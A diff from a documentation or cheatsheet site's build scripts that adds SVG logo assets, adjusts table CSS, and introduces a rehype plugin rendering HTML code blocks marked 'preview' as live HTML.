<path d="M9.864 42.916c1.66-1.986 1.855-4.036.57-7.844-.814-2.4-2.165-4.264-1.172-5.76 1.058-1.595 3.304-.05 1.432 2.083l.374.26c2.246.26 3.353-2.816 1.676-3.694-4.427-2.3-8.3 2.132-6.6 7.275.732 2.18 1.758 4.492.928 6.33-.716 1.58-2.1 2.506-3.027 2.54-1.937.098-.65-4.345 1.58-5.452.195-.098.472-.228.212-.553-2.75-.3-4.362.96-5.3 2.734-2.702 5.16 5.126 7.063 9.3 2.083zM58.2 27.748c.635 1.562 1.595 3.108 1.025 4.476-.472 1.172-1.1 1.66-1.774 1.774-.96.163-.7-2.848.944-3.743.146-.08.358-.472.163-.7-2.083-.114-3.255.88-3.9 2.197-1.84 3.857 4.166 4.915 7.112 1.123 1.172-1.514 1.22-3 .098-5.73-.716-1.725-1.806-3-1.123-4.15.732-1.204 2.5-.163 1.172 1.448l.293.163c1.7.098 2.4-2.18 1.107-2.75-3.434-1.465-6.64 2.23-5.126 5.9zM36.456 23.63c-1.188-.944-4.524.635-5.468 2.978-1.188 2.978-2.946 7.324-4.67 9.228-1.823 2.002-2.002.456-1.823-.7.423-2.718 3.076-9.016 4.524-10.8-.537-.797-4.052-.684-6.494 3.108-.9 1.432-2.995 6.2-5.306 9.96-.505.814-1.14.244-.65-1.66.553-2.197 2.18-8.235 4.28-12.987 5.5-1.1 11.343-1.855 15.82-1.872.602-.163 1-.7 0-.732-3.857-.13-9.65.325-15.07 1 1.04-2.063 2.163-3.733 3.3-4.433-1.237-.78-3.743-.472-5.175 1.644-.635.944-1.27 2.083-1.872 3.32-3.97.618-7.372 1.318-9.098 1.97-1.8.684-1.595 2.848-.505 2.44 2.262-.846 5.322-1.725 8.723-2.506-2.165 4.882-3.857 10.644-4.264 12.987-1 5.696 2.523 5.664 4.248 3.418 1.872-2.457 5.777-11.1 6.38-12 .18-.3.423-.146.293.13-4.362 8.707-3.987 12.076-.456 11.327 1.595-.342 4.345-3.076 5.06-4.492.146-.342.456-.3.4-.163-2.767 7.177-6.282 12.987-8.642 14.8-2.148 1.644-3.743-1.92 3.857-7.03 1.123-.765.602-1.806-.667-1.448-3.922.618-15.152 4.183-20.083 7.6-.374.26-.716.472-.7 1 .016.3.553.195.814.033 6.38-3.825 11.604-5.322 17.593-6.575.08.033.18.05.26.016.277-.065.26.08.08.195-.407.228-.814.44-.9.472-4.036 1.58-6.477 5.06-5.615 6.835.732 1.53 4.687.976 6.56-.033 4.6-2.5 7.926-7.372 10.204-14.1 1.986-5.973 4.492-12.743 5.078-12.938zM63.13 37.415c-7.47-.976-23.582.325-30.694 2.213-2.116.553-1.53 1.676-.456 1.465.016 0 .472-.114.488-.114 5.843-1.14 20.018-2.132 28.285-.553.993.18 3.97-2.8 2.376-3zm-24.6-.88c2.083-1.042 5.175-7.486 7.2-11.018.146-.26.407-.05.26.13-5.143 8.853-2.962 9.88-.928 9.748 2.718-.163 5.224-4.07 5.777-4.947.228-.342.358-.065.228.18-.13.407-.602 1.123-1.042 2.1-.618 1.383.033 1.92.57 2.165.846.407 3.157.146 3.515-1.27-2.3-.05 3.222-10.953 3.792-11.62-1.546-.895-3.938.08-5.03 2.23-2.327 4.606-4.28 8.316-5.5 8.38-2.376.13 2.734-10.27 3.564-10.595-.505-.732-3.743-.423-5.55 2.376-.65 1-4.622 8.04-5.598 9.195-1.725 2.05-1.855.293-1.367-1.758.163-.7.44-1.595.797-2.588 1.14-2.57 2.36-3.385 3.108-4.215 5.03-5.582 7.9-10.107 6.77-11.88-1-1.58-4.378-.88-6.542 2.376-3.987 5.973-7.665 14.16-8.137 17.902-.456 3.743 2.262 4.02 4.1 3.108zm2.116-10.953c.18-.407.293-.52.602-1.204 1.8-3.938 4.036-8.088 5.582-10.025.96-1 2.3.358-.13 4.1a37.625 37.625 0 0 1-4.834 6.038c-.456.52-.863.944-1.042 1.188-.13.163-.277.13-.18-.098z"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 3.0 KiB |
3
scripts/assets/swiftui.svg
Normal file
3
scripts/assets/swiftui.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" width="1em" height="1em" viewBox="0 0 150 150">
|
||||
<path d="M149.996652,41.5504118 C149.996652,40.0404009 149.969865,38.5370862 149.929684,37.0237271 C149.889479,33.7232863 149.600703,30.4305622 149.065807,27.1735006 C148.507382,23.9127729 147.466929,20.7532587 145.978615,17.7987099 C142.956518,11.8649909 138.1316,7.04156844 132.19675,4.0211156 C129.242865,2.53082012 126.082821,1.49033249 122.821331,0.934130935 C119.563242,0.396319522 116.269046,0.106431705 112.967097,0.066962791 C111.456985,0.0267851164 109.953569,0.0100444187 108.440109,0 L41.5565427,0 C40.0464306,0 38.5430153,0.0267851164 37.0295549,0.066962791 C36.2092058,0.0903997679 35.3855083,0.117184884 34.5618108,0.157362559 C32.0854761,0.256798914 29.6181641,0.516263128 27.1753203,0.934130935 C24.7417426,1.35877149 22.3608012,2.04348485 20.0734408,2.97649606 C19.3010849,3.30014955 18.5410063,3.64835606 17.7932051,4.0211156 C15.5863952,5.15055914 13.519722,6.53499141 11.6355641,8.14602353 C11.0060717,8.68507399 10.4000179,9.2442133 9.81740256,9.8200933 C7.47219368,12.1591083 5.51152349,14.8541431 4.00799143,17.8054061 C2.51889323,20.7596305 1.47840127,23.9192644 0.920800036,27.1801969 C0.390726031,30.4353902 0.106428217,33.7258611 0.0703156391,37.0237271 C0.0267869101,38.5337381 0.0100450913,40.0370527 0,41.5504118 L0,108.456284 C0,109.966295 0.0267869101,111.46961 0.0703156391,112.979621 C0.110229315,116.280076 0.39900748,119.572822 0.934193491,122.829848 C1.49106583,126.090961 2.53159273,129.250701 4.02138488,132.204638 C7.04518753,138.133686 11.8652306,142.95575 17.7932051,145.982233 C20.747852,147.46998 23.9076759,148.509267 27.1686236,149.065869 C30.4267126,149.60368 33.7209094,149.893568 37.0228582,149.933037 C38.5296219,149.973215 40.0363856,149.989956 41.549846,150 L108.446806,150 C109.956918,150 111.460333,149.973215 112.973793,149.933037 C116.276759,149.891708 119.571929,149.601833 122.831376,149.065869 C126.092204,148.508782 129.251957,147.469519 132.206795,145.982233 C138.136507,142.956565 142.95707,138.132809 145.978615,132.20129 C147.468407,129.247353 148.508934,126.087613 149.065807,122.826499 C149.603754,119.569766 149.893662,116.276895 149.933033,112.976273 C149.973213,111.46961 149.989955,109.962947 150,108.452936 L150,46.9241758 C149.996652,45.1329211 149.996652,43.3416665 149.996652,41.5504118 Z M126.598286,122.240575 C119.901558,109.206268 107.4356,112.440571 101.046922,115.721747 C100.471003,116.056561 99.8816911,116.391375 99.2890308,116.726189 L99.1483995,116.809893 C85.9223626,123.840986 68.1659896,124.356599 50.312514,116.682663 C35.779112,110.381458 23.4900254,99.8344883 15.0575919,86.4255262 C19.1601349,89.4606647 23.5534617,92.08168 28.1731327,94.2501283 C47.0445109,103.089217 66.0096433,102.449722 79.4030984,94.2501283 C60.3174249,79.5685364 44.3792134,60.4339189 32.161034,44.9588179 C29.8334165,42.2434232 27.7304143,39.3433109 25.8728068,36.2871364 C40.5051565,49.6796946 63.6088665,66.4940515 71.9061119,71.1479654 C54.3037636,52.5691391 38.7941426,29.6511239 39.5207375,30.3877146 C67.2418412,58.3178947 92.819992,74.1110689 92.819992,74.1110689 C93.7843207,74.640075 94.4941738,75.0652887 95.0734408,75.4503248 C95.6092689,74.0835027 96.0741937,72.6899392 96.4663601,71.2751948 C100.892897,55.0936363 95.9105317,36.5951653 84.6432876,21.3209527 C110.355373,36.7491797 125.553596,66.075534 119.32564,90.8785518 C119.178312,91.45778 119.007545,92.0169193 118.843475,92.5827548 C131.741372,108.452936 128.232287,125.451441 126.588241,122.243923 L126.598286,122.240575 Z"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 3.5 KiB |
@ -12,6 +12,7 @@ import { homeCardIcons } from './utils/homeCardIcons.mjs';
|
||||
import { getTocsTree } from './utils/getTocsTree.mjs';
|
||||
import { rehypeTitle } from './utils/rehypeTitle.mjs';
|
||||
import { anchorPoint } from './utils/anchorPoint.mjs';
|
||||
import { rehypePreviewHTML } from './utils/rehypePreviewHTML.mjs';
|
||||
|
||||
const favicon = `data:image/svg+xml,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20height%3D%221em%22%20width%3D%221em%22%3E%20%3Cpath%20d%3D%22m21.66%2010.44-.98%204.18c-.84%203.61-2.5%205.07-5.62%204.77-.5-.04-1.04-.13-1.62-.27l-1.68-.4c-4.17-.99-5.46-3.05-4.48-7.23l.98-4.19c.2-.85.44-1.59.74-2.2%201.17-2.42%203.16-3.07%206.5-2.28l1.67.39c4.19.98%205.47%203.05%204.49%207.23Z%22%20fill%3D%22%23c9d1d9%22%2F%3E%20%3Cpath%20d%3D%22M15.06%2019.39c-.62.42-1.4.77-2.35%201.08l-1.58.52c-3.97%201.28-6.06.21-7.35-3.76L2.5%2013.28c-1.28-3.97-.22-6.07%203.75-7.35l1.58-.52c.41-.13.8-.24%201.17-.31-.3.61-.54%201.35-.74%202.2l-.98%204.19c-.98%204.18.31%206.24%204.48%207.23l1.68.4c.58.14%201.12.23%201.62.27Zm2.43-8.88c-.06%200-.12-.01-.19-.02l-4.85-1.23a.75.75%200%200%201%20.37-1.45l4.85%201.23a.748.748%200%200%201-.18%201.47Z%22%20fill%3D%22%23228e6c%22%20%2F%3E%20%3Cpath%20d%3D%22M14.56%2013.89c-.06%200-.12-.01-.19-.02l-2.91-.74a.75.75%200%200%201%20.37-1.45l2.91.74c.4.1.64.51.54.91-.08.34-.38.56-.72.56Z%22%20fill%3D%22%23228e6c%22%20%2F%3E%20%3C%2Fsvg%3E`;
|
||||
|
||||
@ -41,6 +42,7 @@ export function create(str = '', options = {}) {
|
||||
}],
|
||||
],
|
||||
rewrite: (node, index, parent) => {
|
||||
rehypePreviewHTML(node, parent);
|
||||
rehypeTitle(node, options.filename);
|
||||
homeCardIcons(node, parent, options.isHome);
|
||||
tooltips(node, index, parent);
|
||||
|
||||
@ -309,7 +309,7 @@ body:not(.home) .h2wrap > .wrap-body > ul {
|
||||
body.home .h1wrap p {
|
||||
text-align: left;
|
||||
}
|
||||
body.home .max-container a:hover, body.home .max-container a:visited:hover {
|
||||
body.home .max-container a.home-button:hover, body.home .max-container a.home-button:visited:hover {
|
||||
transition: all .3s;
|
||||
text-decoration-color: #fff;
|
||||
color: #fff;
|
||||
@ -959,11 +959,14 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
.footer-wrap {
|
||||
font-size: 0.75rem;
|
||||
}
|
||||
table {
|
||||
table.auto-wrap {
|
||||
overflow: auto;
|
||||
display: block;
|
||||
}
|
||||
table td, table th {
|
||||
table.auto-wrap thead {
|
||||
display: none;
|
||||
}
|
||||
table.auto-wrap td, table.auto-wrap th {
|
||||
display: block;
|
||||
text-align: left !important;
|
||||
}
|
||||
@ -973,9 +976,6 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
table td:first-child {
|
||||
white-space: initial;
|
||||
}
|
||||
.wrap-header.h3wrap > .wrap-body {
|
||||
overflow: initial;
|
||||
}
|
||||
.tooltip:hover .tooltiptext {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
@ -3,11 +3,19 @@ import rehypeParse from 'rehype-parse';
|
||||
import {unified} from 'unified';
|
||||
import { VFile } from 'vfile';
|
||||
|
||||
export function getSVGNode(iconPath) {
|
||||
export function getSVGNode(iconPath, space = 'svg') {
|
||||
const svgStr = fs.readFileSync(iconPath);
|
||||
const processor = unified().use(rehypeParse,{ fragment: true, space: "svg" })
|
||||
const processor = unified().use(rehypeParse,{ fragment: true, space })
|
||||
const file = new VFile();
|
||||
file.value = svgStr.toString();
|
||||
const hastNode = processor.runSync(processor.parse(file), file);
|
||||
return hastNode.children || []
|
||||
}
|
||||
|
||||
export function getVNode(str = '', space = 'html') {
|
||||
const processor = unified().use(rehypeParse,{ fragment: true, space })
|
||||
const file = new VFile();
|
||||
file.value = str.toString();
|
||||
const hastNode = processor.runSync(processor.parse(file), file);
|
||||
return hastNode.children || []
|
||||
}
|
||||
14
scripts/utils/rehypePreviewHTML.mjs
Normal file
14
scripts/utils/rehypePreviewHTML.mjs
Normal file
@ -0,0 +1,14 @@
|
||||
import { getCodeString } from 'rehype-rewrite';
|
||||
import { getVNode } from './getSVGNode.mjs';
|
||||
|
||||
export function rehypePreviewHTML(node, parent) {
|
||||
if (node.type === 'element' && node.tagName === 'pre' && node.properties?.className?.includes('language-html')) {
|
||||
const child = node.children[0];
|
||||
if (child?.tagName === 'code' && child.data?.meta === 'preview') {
|
||||
const code = getCodeString(node.children)
|
||||
const vnode = getVNode(code || '')
|
||||
node.children = vnode
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user